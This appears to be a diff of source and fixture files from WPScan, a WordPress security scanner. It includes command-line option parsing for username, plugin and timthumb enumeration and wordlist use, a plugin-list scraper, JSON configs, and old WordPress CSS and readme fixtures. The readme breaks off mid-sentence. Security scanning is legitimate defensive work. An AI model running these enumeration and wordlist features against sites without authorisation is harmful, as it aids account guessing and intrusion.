if ARGV.length > 0
WpscanOptions.get_opt_long.each do |opt, arg|
wpscan_options.set_option_from_cli(opt, arg)
end
end
wpscan_options
end
# string cli_option : --url, -u, --proxy etc
# string cli_value : the option value
def set_option_from_cli(cli_option, cli_value)
if WpscanOptions.is_long_option?(cli_option)
self.send(
WpscanOptions.option_to_instance_variable_setter(cli_option),
cli_value
)
elsif cli_option === "--enumerate" # Special cases
# Default value if no argument is given
cli_value = "tup!" if cli_value.length == 0
enumerate_options_from_string(cli_value)
else
raise "Unknow option : #{cli_option} with value #{cli_value}"
end
end
# Will set enumerate_* from the string value
# IE : if value = p! => :enumerate_only_vulnerable_plugins will be set to true
# multiple enumeration are possible : 'up' => :enumerate_usernames and :enumerate_plugins
# Special case for usernames, a range is possible : u[1-10] will enumerate usernames from 1 to 10
def enumerate_options_from_string(value)
# Usage of self is mandatory because there are overridden setters
self.enumerate_only_vulnerable_plugins = true if value =~ /p!/
self.enumerate_plugins = true if value =~ /p(?!!)/
@enumerate_timthumbs = true if value =~ /t/
if value =~ /u/
@enumerate_usernames = true
# Check for usernames range
if matches = %r{\[([\d]+)-([\d]+)\]}.match(value)
@enumerate_usernames_range = (matches[1].to_i..matches[2].to_i)
end
end
end
protected
# Even if a short option is given (IE : -u), the long one will be returned (IE : --url)
def self.get_opt_long
GetoptLong.new(
["--url", "-u", GetoptLong::REQUIRED_ARGUMENT],
["--enumerate", "-e", GetoptLong::OPTIONAL_ARGUMENT],
["--username", "-U", GetoptLong::REQUIRED_ARGUMENT],
["--wordlist", "-w", GetoptLong::REQUIRED_ARGUMENT],
["--threads", "-t",GetoptLong::REQUIRED_ARGUMENT],
["--force", "-f",GetoptLong::NO_ARGUMENT],
["--help", "-h", GetoptLong::NO_ARGUMENT],
["--verbose", "-v", GetoptLong::NO_ARGUMENT] ,
["--proxy", GetoptLong::OPTIONAL_ARGUMENT],
["--update", GetoptLong::NO_ARGUMENT],
["--follow-redirection", GetoptLong::NO_ARGUMENT],
["--wp-content-dir", GetoptLong::REQUIRED_ARGUMENT],
["--wp-plugins-dir", GetoptLong::REQUIRED_ARGUMENT]
)
end
def self.is_long_option?(option)
ACCESSOR_OPTIONS.include?(:"#{WpscanOptions.clean_option(option)}")
end
# Will removed the '-' or '--' chars at the beginning of option
# and replace any remaining '-' by '_'
#
# param string option
# return string
def self.clean_option(option)
cleaned_option = option.gsub(/^--?/, '')
cleaned_option.gsub(/-/, '_')
end
def self.option_to_instance_variable_setter(option)
cleaned_option = WpscanOptions.clean_option(option)
option_syms = ACCESSOR_OPTIONS.grep(%r{^#{cleaned_option}})
option_syms.length == 1 ? :"#{option_syms.at(0)}=" : nil
end
end

View File

@@ -0,0 +1,128 @@
#!/usr/bin/env ruby
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# ryandewhurst at gmail
#
# This tool generates a plugin list to use for plugin enumeration
class Generate_Plugin_List
attr_accessor :pages, :verbose
def initialize(pages, verbose)
@pages = pages.to_i
@verbose = verbose
@browser = Browser.instance
@hydra = @browser.hydra
end
# Send a HTTP request to the WordPress most popular plugins webpage
# parse the response for the plugin names.
def parse_plugins
found_plugins = []
page_count = 1
queue_count = 0
(1...@pages).each do |page|
request = @browser.forge_request('http://wordpress.org/extend/plugins/browse/popular/page/'+page.to_s+'/')
queue_count += 1
request.on_complete do |response|
puts "[+] Parsing page " + page_count.to_s if @verbose
page_count += 1
response.body.scan(%r{<h3><a href="http://wordpress.org/extend/plugins/(.*)/">.+</a></h3>}i).each do |plugin|
found_plugins << plugin[0]
end
end
@hydra.queue(request)
if queue_count == @browser.max_threads
@hydra.run
queue_count = 0
end
end
@hydra.run
found_plugins.uniq
end
# Use the WordPress plugin SVN repo to find a
# valid plugin file. This will cut down on
# false positives. See issue 39.
def parse_plugin_files(plugins)
plugins_with_paths = ""
queue_count = 0
plugins.each do |plugin|
request = @browser.forge_request('http://plugins.svn.wordpress.org/' + plugin + '/trunk/')
request.on_complete do |response|
puts "[+] Parsing plugin " + plugin + " [" + response.code.to_s + "]" if @verbose
file = response.body[%r{<li><a href="(\d*?[a-zA-Z].*\..*)">.+</a></li>}i, 1]
if file
plugin += "/" + file
end
plugins_with_paths << plugin + "\n"
end
queue_count += 1
@hydra.queue(request)
# the wordpress server stops
# responding if we dont use this.
if queue_count == @browser.max_threads
@hydra.run
queue_count = 0
end
end
@hydra.run
plugins_with_paths
end
# Save the file
def save_file
begin
plugins = parse_plugins
puts "[*] We have parsed " + plugins.size.to_s
plugins_with_paths = parse_plugin_files(plugins)
File.open(DATA_DIR + '/plugins.txt', 'w') { |f| f.write(plugins_with_paths) }
puts "New data/plugin.txt file created with " + plugins_with_paths.scan(/\n/).size.to_s + " entries."
rescue => e
puts "ERROR: Something went wrong :( " + e.inspect
end
end
end

View File

@@ -0,0 +1,28 @@
require File.expand_path(File.dirname(__FILE__) + '/../common_helper')
require_files_from_directory(WPSTOOLS_LIB_DIR)
def usage()
script_name = $0
puts
puts "-h for further help."
puts
puts "Examples:"
puts
puts "- Generate a new 'most popular' plugin list, up to 150 pages ..."
puts "ruby " + script_name + " --generate_plugin_list 150"
puts
puts "See README for further information."
puts
end
def help()
puts "Help :"
puts
puts "--help | -h This help screen."
puts "--Verbose | -v Verbose output."
puts "--update | -u Update to the latest revision."
puts "--generate_plugin_list [number of pages] Generate a new data/plugins.txt file. (supply number of *pages* to parse, default : 150)"
puts "--gpl Alias for --generate_plugin_list"
puts
end

View File

@@ -0,0 +1,7 @@
{
"user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0",
"user_agent_mode": "static",
"cache_timeout": 300,
"request_timeout": 2000,
"max_threads": 5
}

View File

@@ -0,0 +1,7 @@
{
"user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:10.0) Gecko/20100101 Firefox/11.0",
"user_agent_mode": "static",
"proxy": "127.0.0.1:3038",
"cache_timeout": 300,
"request_timeout": 2000
}

0
spec/fixtures/empty-file vendored Normal file
View File

View File

@@ -0,0 +1,171 @@
/* Default WordPress by Matthew Mullenweg http://photomatt.net
This is just a basic layout, with only the bare minimum defined.
Please tweak this and make it your own. :)
*/
a {
color: #069;
}
a:visited {
color: #039;
}
a:hover {
color: #39c;
}
acronym, abbr {
border-bottom: 1px dashed #333;
}
acronym, abbr, span.caps {
cursor: help;
font-size: 90%;
letter-spacing: .07em;
}
blockquote {
border-left: 5px solid #ccc;
margin-left: 1.5em;
padding-left: 5px;
}
body {
font-family: Georgia, "Times New Roman", Times, serif;
margin: 0;
}
h2 {
border-bottom: 2px solid #ccc;
margin-bottom: 2px;
}
p, li {
line-height: 130%;
}
.b2calendarcell {
color: #000;
}
.b2calendaremptycell {
}
.b2calendarheadercell {
background: #808080;
color: #ccc;
}
.b2calendarlinkpost {
color: #f00;
text-decoration: none;
}
.b2calendarmonth {
color: #aaa;
}
.b2calendarrow {
color: #0f0;
}
.b2calendartable {
background: #fff;
border: 1px solid #000;
}
.b2calendartoday {
color: #00f;
}
.credit {
font-size: 11px;
text-align: center;
}
.feedback {
text-align: right;
color: #ccc;
}
.meta, .meta a {
color: #808080;
font-size: small;
}
.storytitle a {
text-decoration: none;
}
#content {
margin: 0 160px 0 20px;
}
#header {
background-color: #808080;
margin: 0;
padding-left: 10px;
}
#header a {
color: #fff;
text-decoration: none;
}
#header a:hover {
color: #ccc;
}
#menu {
background-color: #000;
border-left: 3px solid #666;
padding-bottom: 10px;
position: absolute;
right: 0;
top: 65px;
width: 150px;
}
#menu form {
margin: 0 0 0 13px;
}
#menu input {
background-color: #ccc;
border: 2px solid #666;
}
#menu ul {
color: #ccc;
font-variant: small-caps;
font-weight: bold;
list-style-type: none;
margin: 0;
padding-left: 3px;
}
#menu ul ul {
font-variant: normal;
font-weight: normal;
line-height: 100%;
list-style-type: none;
margin: 0;
padding: 0;
text-align: left;
}
#menu ul ul li {
line-height: 115%;
padding-left: 12px;
}
#menu ul ul li a {
color: #fff;
height: 13px;
text-decoration: none;
}
#menu ul ul li a:hover {
border-bottom: 1px solid #ccc;
}

View File

@@ -0,0 +1,995 @@
<html>
<head>
<title>WordPress &gt; ReadMe</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style>
<!--
body {
font-family: Georgia, "Times New Roman", Times, serif;
margin-left: 15%;
margin-right: 15%;
}
p, li {
line-height: 135%;
padding-bottom: 2px;
}
h1 {
font-size: 18px;
font-weight: lighter;
color: #006;
}
h2 {
font-size: 16px;
}
.params {
border-color: #cccccc;
border-width: 1px;
border-style: solid;
padding: 5px;
margin: 5px;
margin-left: 20px;
margin-right: 80px;
font-family: arial,helvetica,sans-serif;
font-size:12px;
}
ul, ol { margin: 0px; padding: 0px; padding-left: 20px; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; }
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<table width="600" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td> <p align="center"><img src="http://wordpress.org/images/wordpress.gif" alt="WordPress" /><br />
<font size="2" face="Georgia, Times New Roman, Times, serif">0.71</font></p>
<p align="center">Weblog / News Publishing Tool</p>
<p align="center"><a href="#requirements">Requirements</a> - <a href="#installation">Installation</a>
- <a href="#templates">Template(s)</a> - <a href="#usage">Query String
Usage</a> - <a href="#xmlrpc">XML-RPC (Blogger API)</a> - <a href="#postviaemail">Post
Via Email</a> - <a href="#notes">Notes</a></p>
<a name="requirements"></a> <h1>Requirements:</h1>
<ul>
<li><strong>PHP4</strong> (version 4.0.6 or higher)</li>
<li><strong>MySQL</strong> (version 3.23.23 or higher)</li>
<li>Perl (optional - only for the spellchecker)</li>
<li>... and a link to <a href="http://wordpress.org" target="_blank">http://wordpress.org</a>
on your site.</li>
</ul>
<p>The link will help promote <a href="http://wordpress.org">WordPress</a>
and is its only mean of promotion. </p>
<p>WordPress is built from b2, which comes from Michel V. We wouldn't be
here without him, so why don't you grab him something from his <a href="http://www.amazon.com/exec/obidos/registry-address-select-done/1XKLC38KDUPXR/103-8901342-4908609">wishlist</a>?</p>
<p>This document is currently beta stage, we'll be updating it extensively
as WordPress matures.</p>
<h1 id="installation">Installation:</h1>
<h2>New users: 5-minute install.</h2>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Open b2config.php in a text editor, and modify the variables as explained
in the comments. Comments are lines that start with # or /* or //</li>
<li>Upload everything. This release is designed to sit in your root folder,
IE the folder where your WordPress-powered page will reside.</li>
<li>CHMOD 666 the <code>weblogs.com.changes.cache</code> file.</li>
<li> Launch <a href="wp-admin/wp-install.php">wp-install.php</a> in your
browser. This should setup the MySQL database for your blog. If there
is an error, double check your b2config.php file, and try again. If
it fails again, please go to the <a href="http://wordpress.org/support/">support
forums</a> and make a post with all the information about the failure
(error messages, etc), and your setup (the PHP and MySQL versions on
your server, and the browser you were using). <strong>Note the password
given to you.</strong></li>
<li> Go to <a href="b2login.php">b2login.php</a> and sign in with the
login &quot;admin&quot; and the password given to you by the install
script. Then click on the menu 'My Profile', and change the password.
Note: you need javascript enabled to launch the profile popup window.</li>
</ol>
<h2>Some notes:</h2>
<ul>
<li>Whenever you want to post something, just open a browser and go to
b2login.php to log in and post.</li>
<li>You can also use a bookmarklet and/or a sidebar (IE5+/NS6+) to post.</li>
<li> You can also post through the Blogger API, <a href="#xmlrpc">click
here</a> for more info.</li>
<li> Your site's blog is on b2.php (simple template) and index.php (CSS
template), you can rename this file to index.php or any other name you
fancy (provided it bears the php extension or is interpreted as a php
file by your server).</li>
<li> You can also copy b2.php into a new file and modify that new file,
it will work too ;)</li>
</ul>
<h2>Users upgrading from b2 v0.6.1 to WordPress v0.7:</h2>
<ul>
<li>All you <em>really</em> have to do is replace all the files with newer
versions and run <a href="javascript:window.close()">b2-2-wp.php</a>
and you should be ready to go.</li>
<li>If you're using an older version of b2, it's probably a good idea
to upgrade to at least .6.1 before making the leap to WordPress.</li>
<li>The templates are so much better, and there is so much more going
on than before it's probably worth it to start from scratch and work
back to your design.</li>
<li>You <em>must</em> update your <code>b2config.php</code>. There's all
sort of new stuff in there.</li>
<li>WordPress issues should be discussed in our <a href="http://wordpress.org/support/">support
forums</a>.</li>
<li><strong>Back up</strong> your database before you do anything. Yes,
you. Right now.</li>
</ul>
<h1 id="templates">Template(s):</h1>
<h2>First notes:</h2>
<ul>
<li>Enclosed is an example of a template, in the file b2.php. You can
rename this file to &quot;index.php&quot;or something else (recent b2
versions have a default index.php, which is an elaborate CSS-based template).</li>
<li>You can have any number of template files, since all they do is extract
the posts from the database.</li>
<li>Pseudo-template for the comments is in b2comments.php. You needn't
rename this file, but you can edit it.</li>
<li>The only thing to remember is that it's not actually a template, but
a PHP file that you're manipulating. So when you see &quot;don't delete
this line&quot;, you know you mustn't, unless you want to have a broken
page.</li>
<li>Required lines are: the first lines that call blog.header.php, the
lines with the &quot;while&quot; statement, and the ones with just &quot;}&quot;
(it ends the while loop).</li>
<li>Between the &quot;while&quot; line and the &quot;}&quot;, is the template
for your posts.</li>
</ul>
<h2>Notes about parameters:</h2>
<ol>
<li> Some template tags can accept optional parameters between the parenthesis
<strong>()</strong>.</li>
<li>To add a parameter to a tag, enclose it between quotes and put it
between the <strong>()</strong>.<br />
Example: <code>&lt;?php my_tag("my parameter"); ?></code></li>
<li>You may have to put several parameters, for that you separate them
with commas.<br />
Example: <code>&lt;?php my_tag("first param","second param"); ?></code></li>
<li>The order of parameters is important. If a function accepts 2 parameters
and you only want to set the second one, you still have to provide the
first one, and so on for any number of parameters.<br />
Example: <code>&lt;?php my_tag("","second param"); ?></code></li>
<li>Some template tags, like the_date(), display something only if in
some conditions. They generally accept parameters to display something
before and after them only when they display something.<br />
Example: <code>&lt;?php the_title("&lt;h1>","&lt;/h1>"); ?></code> would
display &lt;h1>title of the post&lt;/h1> only if the post has a title<br />
<br />
</li>
</ol>
<h1>Template tags:</h1>
<blockquote> <strong>&lt;?php the_date() ?&gt;</strong> <span style="font-family: 'Courier New',Courrier,mono; color: #ff9900; font-weight: bold;">*</span><br />
the date of the post. example: 03.07.01 (default is dd.mm.yy).<br />
the date is displayed only on new days. for example if you got 10 posts
on the same day, the date for this day is displayed only once.<br />
<div class="params">Parameters:
<ul>
<li>format string (default: "d.m.y")</li>
<li>string to display before the date (default is blank)</li>
<li>string to display after the date (default is blank)</li>
</ul>
</div>
<br />
<strong>&lt;?php the_time() ?&gt;</strong><br />
the time of the post. example: 18:37:00 (default is hh:mm:ss)<br />
<div class="params">Parameters:
<ul>
<li>format string (default: "H:i:s")</li>
</ul>
</div>
<br />
<strong>Note:</strong> you can change the way the date &amp; time are
displayed in the Options page.<br />
once you understand the format strings for the date &amp; time (explained
in the Options page), you can change the display right on the template:
for example, <strong>the_date(</strong><em>&quot;d.m.Y&quot;</em><strong>)</strong>
to have dates like 25.12.2001, <strong>the_time(</strong><em>&quot;B&quot;</em><strong>)</strong>
to have Swatch Internet Time.<br />
If you change the display of the date on the template, changing it from
the options page won't have any effect.br /> <br />
<strong>Note about the_date():</strong> if you want all your posts to
bear the date, you'll have to use the_time() instead, with a date format
string. for example, to have all your posts show like &quot;25.12.2001
@ 8:04:50 AM&quot; you'll have the_time(&quot;d.m.Y @ g:i:s A&quot;).
you can also repeat this template tag 2 times with 2 different formats:
the_time(&quot;d.m.Y&quot;) for the date, and then later the_time(&quot;g:i:s
A&quot;) for the time of the day.<br />
<br />
<strong>&lt;?php the_weekday() ?&gt;</strong><br />
This displays the day of the week when the post was made. It works like
the_time(), in that it would appear at every post. Weekdays can be obtained
with a custom date format string in the_time() or the_date(), but for
non-english weekdays you have to edit b2config.php<br />
<strong>Note: this tag is OBSOLETE, the_time() and the_date() now use
weekdays/months from b2config.php</strong><br />
<br />
<strong>&lt;?php the_weekday_date() ?&gt;</strong> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
Like the_weekday(), but works like the_date(), in that it would appear
only on new days.<br />
<strong>Note: this tag is OBSOLETE, the_time() and the_date() now use
weekdays/months from b2config.php</strong><br />
<div class="params">Parameters:
<ul>
<li>string to display before the weekday_date (default is blank)</li>
<li>string to display after the weekday_date (default is blank)</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php the_ID() ?&gt;<br />
</strong>the ID (number) of the post.<br />
<br />
<strong>&lt;?php the_title() ?&gt;<br />
</strong>The title of the post.<br />
<div class="params">Parameters:
<ul>
<li>string to display before the title (default is blank)</li>
<li>string to display after the title (default is blank)</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php the_content() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong>The text of the post.<br />
<div class="params">Parameters:
<ul>
<li>text to display for the link to the complete entry (default is
<em>'(more...)'</em>)</li>
<li>0 or 1, whether you want to show the teaser message or not, when
showing the complete text (default is 1)</li>
<li>a filename of another template, if you want the 'more' link to
link to a different template for the complete text of the extended
entry (default is the current template)</li>
</ul>
</div>
<br />
For example <em>&lt;?php the_content(&quot;read more&quot;,&quot;0&quot;,&quot;blah.php&quot;)
?&gt;</em> would display a link to <em>blah.php</em>, with the link text
<em>read more</em>, and won't display the teaser message.<br />
<br />
<span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span>
To enter an extended entry, just type <em>&lt;!--more--&gt;</em> in your
entry. The part before that comment is the teaser, the part after it is
the extended entry. To force the extended entry not to show the teaser
message, type <em>&lt;!--noteaser--&gt;</em> somewhere in your entry.<br />
<br />
<span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span>
To enter an entry with several pages, just type <em>&lt;!--nextpage--&gt;</em>
in your entry to start a new page.<br />
<br />
<br />
<strong>&lt;?php next_post() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong>Displays a link to the next post(s). (Generally you might want
to use that tag only in single-post templates)<br />
<div class="params">Parameters:
<ul>
<li>format string for the link (default is "%", where % is replaced
with the title of the next post)</li>
<li>text to display to announce the link (default is "next post: ")</li>
<li>"yes" or "no": display the title of the post, or no (default is
"yes")</li>
<li>"yes" or "no": display a link to the next post only if the next
post is in the same category (default is "no")</li>
<li>number: which next post ? if you make it '2', the 2nd next post
is linked instead of the 1st next one (default is "1", which means
first next post)</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php previous_post() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong>Displays a link to the previous post(s). (Generally you might
want to use that tag only in single-post templates)<br />
<div class="params">Parameters:
<ul>
<li>format string for the link (default is "%", where % is replaced
with the title of the previous post)</li>
<li>text to display to announce the link (default is "previous post:
")</li>
<li>"yes" or "no": display the title of the post, or no (default is
"yes")</li>
<li>"yes" or "no": display a link to the next post only if the previous
post is in the same category (default is "no")</li>
<li>number: which previous post ? if you make it '2', the 2nd previous
post is linked instead of the 1st previous post (default is "1",
which means first previous post)</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php next_posts() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong>Display the URL portion of a link to the next set of posts. <br />
Generally you would use this in a template to navigate to the next "set"
of posts when the "Show Options" settings for the site is set to "posts
paged". The displayed string can be used to construct a link. When the
site options are not set to 'posts paged", the next and previous functions
will display nothing.<br />
<div class="params">Parameters:
<ul>
<li>Max page number to use. Default "0"; no limit</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php next_posts_link() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong> Displays a full link to the next "set" of posts only if show
options set to "posts paged" and only if there is another page or partial
page of data.<br />
<div class="params">Parameters:
<ul>
<li>A user supplied string. Default "Next Page &gt;&gt;"</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php previous_posts() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong>Displays the URL portion of a link to the previous posts.<br />
Generally you would use this in a template to navigate to the previous
"set" of posts when the "Show Options" settings for the site is set to
"posts paged". The displayed string can then be used to construct a link.
When the site options are not set to 'posts paged", the next and previous
functions will display nothing.<br />
<div class="params">Parameters:
<ul>
<li>No parameters.</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php previous_posts_link() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong> Displays a full link to the previous "set" of posts only if
show options set to "posts paged" and if there is a previous set, otherwise
nothing is displayed.<br />
<div class="params">Parameters:
<ul>
<li>A user supplied string. Default "&lt;&lt; Previous Page"</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php posts_nav_link() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong>The function displays a complete navigation set of links including
a user definable "separator" with the ability to supply a the text string
to be used for the "previous" and "next" links.<br />
The default result will produce the following string:<br />
<p align="center">&lt;&lt; Previous Page :: Next Page &gt;&gt;</p>
<div class="params">Parameters:
<ul>
<li>A user supplied "separator" string. Default " :: "</li>
<li>A user supplied "previous" string. Default "&lt;&lt; Previous
Page"</li>
<li>A user supplied "next" string. Default "Next Page &gt;&gt;"</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php link_pages() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong>Displays links to the pages of the post if it's a multiple pages
post.<br />
<div class="params">Parameters:
<ul>
<li>string to display before the tag (default is "&lt;br />", a newline)</li>
<li>string to display after the tag (default is "&lt;br />", a newline)</li>
<li>"next" or "number": display links like "next/previous page" or
links to each page with the number of the page "1 2 3 4 etc" (default
is "number")</li>
<li>string to display the "next page" link (default is "next page")</li>
<li>string to display the "previous page" link (default is "previous
page")</li>
<li>format string for the "number of page" link (default is "%", where
% is replaced by the number of the page)</li>
<li>file name, in case you want to load the posts with multiple pages
in a different template (default is the current template)</li>
</ul>
</div>
<br />
<br />
<strong>&lt;?php the_author() ?&gt;</strong><br />
The author of the post.<br />
Depending on the user's profile settings, it can display whether their
nickname, login name, first name, last name, both first&amp; last name,
or last &amp; first name. look below for more author-related template
tags. <br />
<br />
<strong>&lt;?php the_category() ?&gt;<br />
</strong>the name of the category the post belongs to. you can as an admin
add categories, and rename them if needed. default category is 'General',
you can rename it too.<br />
<br />
<strong>&lt;?php the_category_ID() ?&gt;<br />
</strong>The ID (number) of the category the post belongs to. This is
static data thatyou can use, for example to associate a category to an
image, or a css style.<br />
<br />
<strong>&lt;?php trackback_rdf() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span></strong><br />
This will include the RDF data that can be used by some weblog tools to
locate your posts' trackback URLs.<br />
You should put this tag after the &lt;?php the_content() ?&gt; tag in
your template, or just before the end of the loop.<br />
<br />
<strong>&lt;?php dropdown_cats() ?&gt;<br />
</strong>this is a special tag, meant to be used in the template, but
outside of the b2 loop. it will display a list of &lt;option name="<em>x</em>"><em>category-name</em>&lt;/option>,
where <em>x</em> is the number of the category and <em>category-name</em>
is the name of it.<br />
<div class="params">Parameters:
<ul>
<li>0 or 1, depending if you want to have an option to display all
categories (default is 1)</li>
<li>text to display for the option to show all categories (default
is "All")</li>
</ul>
</div>
<br />
you can use it like this: <br />
<br />
<code>&lt;form action="&lt;?php echo $PHP_SELF ?>" method="get"><br />
&lt;?php dropdown_cats() ?><br />
&lt;input type="submit" name="submit" value="view" /><br />
&lt;/form></code> <br />
<br />
<strong>&lt;?php list_cats() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong>this is a special tag, meant to be used in the template, but
outside of the b2 loop. it will display a list of the categories, with
links to them. like in b2archive.php, each category is on a line, the
only way you can change this is by editing b2.template.functions.php<br />
<div class="params">Parameters:
<ul>
<li>0 or 1, depending if you want to have an option to display all
categories (default is 1)</li>
<li>text to display for the option to show all categories (default
is 'All')</li>
<li>sort by: possible values are 'name' and 'ID' (default is 'ID')</li>
<li>sorting order: possible values are 'asc' for ascending or 'desc'
for descending (default is 'asc')</li>
<li>filename, in case you want to display the categories' posts in
another template (default is current template)</li>
</ul>
</div>
<br />
<strong>&lt;?php bloginfo() ?&gt;</strong> <span style="font-family: 'Courier New',Courrier,mono; color: #ff9900; font-weight: bold;">*</span><br />
This tag is out of the b2 loop.<br />
It outputs info about your weblog.<br />
<div class="params">Parameters:
<ul>
<li>string: can be 'name' to display the name of your weblog (you
set it in b2config.php), 'url', 'description', 'admin_email', 'rss_url'
to display the URL of your b2rss.xml file, 'pingback_url' to display
the URL of your xmlrpc.php file<br />
(default string is 'name')</li>
</ul>
</div>
<br />
<strong>&lt;?php single_post_title() ?&gt;</strong> <span style="font-family: 'Courier New',Courrier,mono; color: #ff9900; font-weight: bold;">*</span><br />
This tag is out of the b2 loop.<br />
It outputs the title of the post when you load the page with ?p= (see
'Usage' section for explanation). When the weblog page is loaded without
?p=, this tag doesn't display anything. Generally, you could use it like
this:<br />
&nbsp; &nbsp;&lt;title&gt;&lt;?php bloginfo('name') ?&gt;&lt;?php single_post_title()
?&gt;&lt;/title&gt;<br />
<div class="params">Parameters:
<ul>
<li>prefix string that will appear before the post's title (default
is ' :: ')</li>
</ul>
</div>
<br />
<strong>&lt;?php single_cat_title() ?&gt;</strong> <span style="font-family: 'Courier New',Courrier,mono; color: #ff9900; font-weight: bold;">*</span><br />
This tag is out of the b2 loop.<br />
It outputs the title of the category when you load the page with ?cat=
(see 'Usage' section for explanation). When the weblog page is loaded
without ?cat=, this tag doesn't display anything. Generally, you could
use it like this:<br />
&nbsp; &nbsp;&lt;title&gt;&lt;?php bloginfo('name') ?&gt;&lt;?php single_cat_title()
?&gt;&lt;/title&gt;<br />
<div class="params">Parameters:
<ul>
<li>prefix string that will appear before the category's title (default
is ' :: ')</li>
</ul>
</div>
<br />
<strong>&lt;?php single_month_title() ?&gt;</strong> <span style="font-family: 'Courier New',Courrier,mono; color: #ff9900; font-weight: bold;">*</span><br />
This tag is out of the b2 loop.<br />
It outputs the name of the month when you load the page with ?m= (see
'Usage' section for explanation). When the weblog page is loaded without
?m=, this tag doesn't display anything. Generally, you could use it like
this:<br />
&nbsp; &nbsp;&lt;title&gt;&lt;?php bloginfo('name') ?&gt;&lt;?php single_month_title()
?&gt;&lt;/title&gt;<br />
<div class="params">Parameters:
<ul>
<li>prefix string that will appear before the month's name (default
is ' :: ')</li>
</ul>
</div>
<br />
<strong>Note:</strong> The above three functions can be used together
to produce the Title of the page:<br>
&nbsp; &nbsp;&lt;title&gt;&lt;?php bloginfo('name') ?&gt;&lt;?php single_post_title('
:: ') ?&gt;&lt;?php single_cat_title(' :: ') ?&gt;&lt;?php single_month_title('
:: ') ?&gt;&lt;/title&gt;<br />
Only one, if any, of these functions will produce output, thus the page
Title can be customize to the task being done. <br />
<br />
<br />
<strong>More about the author</strong> of the post ? Here goes:<br />
<br />
<strong>&lt;?php the_author_email() ?&gt; - </strong> the author's email.<br />
<strong>&lt;?php the_author_url() ?&gt;</strong> - the author's url.<br />
<strong>&lt;?php the_author_email() ?&gt;</strong> - the author's number
of posts.<br />
<strong>&lt;?php the_author_icq() ?&gt;</strong> - the author's ICQ number.<br />
<strong>&lt;?php the_author_aim() ?&gt;</strong> - the author's AIM handle.<br />
<strong>&lt;?php the_author_yim() ?&gt;</strong> - the author's Yahoo
Messenger handle.<br />
<strong>&lt;?php the_author_msn() ?&gt;</strong> - the author's MSN Messenger
handle.<br />
<strong>&lt;?php the_author_posts() ?&gt;</strong> - the author's post
count.<br />
<strong>&lt;?php the_author_login() ?&gt;</strong> - the author's login
name in b2. If you want some static data about the author, this is what
you're searching for. You can, for example, associate a picture with an
author, like this: <em>&lt;img src=&quot;pictures/&lt;?php the_author_login()
?&gt;.jpg&quot; border=&quot;0&quot;&gt;</em><br />
<strong>&lt;?php the_author_ID() ?&gt;</strong> - the author's ID number
in b2. This number is automatically set when the user registers: to see
the ID of an user, go to the Team page. This is static data too, so you
can use it like the_author_login() in associating stuff with authors.<br />
<br />
<strong><br />
Tags for permalinks</strong> are:<br />
<br />
<strong>&lt;?php permalink_anchor() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span></strong><br />
this will display &lt;a name=&quot;...&quot;&gt;&lt;/a&gt;, replacing
&quot;...&quot; with the ID or the title of the post in the database.<br />
<br />
<div class="params">Parameters:
<ul>
<li>string for kind of anchor: either 'id' that displays '50', or
'title' that displays 'title_of_post_50' (default is 'id')</li>
</ul>
</div>
<br />
<strong>&lt;?php permalink_link() ?&gt; <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
</strong>this will display the name of the file followed by #ID to link
to the post, in the month archive if archive-mode is "monthly".<br />
note: this tag does not display the link, for this you've got to type
&lt;a href=&quot;&lt;?php permalink_link() ?&gt;&quot;&gt;text of the
link&lt;/a&gt;.<br />
<div class="params">Parameters:
<ul>
<li>file name, in case you want to link the archive to a different
template (default is the current template)</li>
<li>string for kind of link: either 'id' that appends '#50' to the
